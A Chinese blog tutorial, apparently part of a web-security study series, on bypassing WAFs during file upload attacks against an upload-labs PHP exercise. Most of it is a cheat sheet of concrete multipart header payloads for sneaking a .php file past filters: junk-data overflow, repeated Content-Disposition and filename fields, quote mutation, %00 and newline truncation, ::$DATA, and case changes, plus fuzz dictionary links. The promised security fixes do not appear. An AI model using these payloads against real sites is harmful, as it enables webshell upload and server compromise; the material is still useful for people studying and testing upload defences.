第24天:WEB漏洞-文件上传之WAF绕过和安全修复

在这里插入图片描述

上传参数名解析: (明确哪些东西能修改?)
Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改
常见绕过方法:
数据溢出-防匹配(xxx...)	:就是在关键点前面写入大量的无用数据来干扰对后面主要数据的检测
符号变异-防匹配('	" 	; ):有的检测可能是基于单引号和双引号来获取数据,可以修改单引号或双引号的位置或增加删除单双引号来干扰waf
数据截断-防匹配(%00;	换行):
重复数据-防匹配(参数多次)

数据溢出 (pass-2)

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

题目设置了文件类型(Content-Type:文件MIME)的白名单,无WAF的情况下,我们只需要通过抓包将文件MIME修改成白名单内容即可,但是服务器中有WAF,即使修改MIME也无法绕过。

  • 服务器中无WAF的情况
    在这里插入图片描述
  • 服务器中WAF的情况
    在这里插入图片描述
绕过方法
方法一 : 在content-disposition:字段里写入无用数据,直到绕过WAF

可以在form-data前面或者后面添加无效数据

content-disposition: form-data qwfasajhchsavhjfxjassbchmvjvxevcssasvad hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmn assachjhegvwchjsvnmbvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjs form-data; name=“upload_file”; filename=“xxxx.php”;
content-type: image/jpeg

方法二 : 重复Content-Disposition字段,将恶意文件放在最后,直到绕过WAF

content-disposition:form-data; name=“upload_file”; filename=“xxxx”;
content-disposition:form-data; name=“upload_file”; filename=“xxxx”;
……
……
content-disposition:form-data; name=“upload_file”; filename=“1.php”;
content-type: image/jpeg

方法三 :在filename处进行溢出,将恶意文件放在最后(直到绕过WAF)

content-disposition:form-data; name=“upload_file”; filename=“vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkccas e vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc esavcsaxAC dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc ecsdv dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc e dvdsc x.php”;
content-type: image/jpeg

方法四 :在filename后面继续添加数据,让WAF认为还没检测完

content-disposition:form-data; name=“upload_file”; filename=“x.php”;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
content-type: image/jpeg

符号变异

方法一 :修改filename参数值的引号

去掉一个或者2个 " (让WAF认为是一个非用户输入的变量)

content-disposition:form-data; name=“upload_file”; filename="x.php;
content-type: image/jpeg

" 改为单引号(WAF可能只检测双引号里面的内容)

content-disposition:form-data; name=“upload_file”; filename='x.php';
content-type: image/jpeg

将文件名后缀写在" "

content-disposition:form-data; name=“upload_file”; filename=“x”.php;
content-type: image/jpeg

方法二 :在双引号内加上其他符号截断WAF的检查

但是文件又能被正常执行

content-disposition:form-data; name=“upload_file”; filename=“x.jpg;/.php”;
content-type: image/jpeg
content-disposition:form-data; name=“upload_file”; filename=“/jpeg;/x.php”;
content-type: image/jpeg

方法三 :在 filename参数值前加上[0x09]

content-disposition:form-data; name=“upload_file”; filename=“[0x09]x.php”;
content-type: image/jpeg

数据截断

方法一:将后缀换行,或者使用0x0a换行

content-disposition:form-data; name=“upload_file”; filename=“x.
p
h
p”;
content-type: image/jpeg

方法二:%00、0x00截断

使用%00截断需要手动url编码
0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
可以在上传时多预留了一个空格占位,再改%00和0x0所对应的hex值,从而达到修改

…… filename=“x.php%00/.txt”
……filename=“x.php%00/.txt”

方法三:::$$DATA数据量绕过

在php文件名后面加上::$$DATA系统会把它当作文件流来进行处理,不会检测文件的后缀名,且保留::$$DATA之前的文件名以及后缀

…… filename=“x.php::$$DATA”

重复数据

方法一:将content-disposition:form-data; name="upload_file"复制到filmname内

content-disposition:form-data; name=“upload_file”; filename="content-disposition:form-data; name="upload_file"x.php";
content-type: image/jpeg

方法二:重写filename

多写filename,绕过成功,只会上传最后一个

content-disposition:form-data; name=“upload_file”; filename="x.txt"; filename="x.txt";filename="x.txt";…… filename="x.php";
content-type: image/jpeg

字符变异绕过:

方法一 :Content-Disposition的变量值变异绕过

f+orm-data

content-disposition:f+orm-data; name=“upload_file”; filename=“x.php”;
content-type: image/jpeg

丢弃掉form-data

content-disposition: name=“upload_file”; filename=“x.php”;
content-type: image/jpeg

方法二 :后缀名大小写绕过

content-disposition:form-data; name=“upload_file”; filename=“x.PHp”;
content-type: image/jpeg

fuzz字典

https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值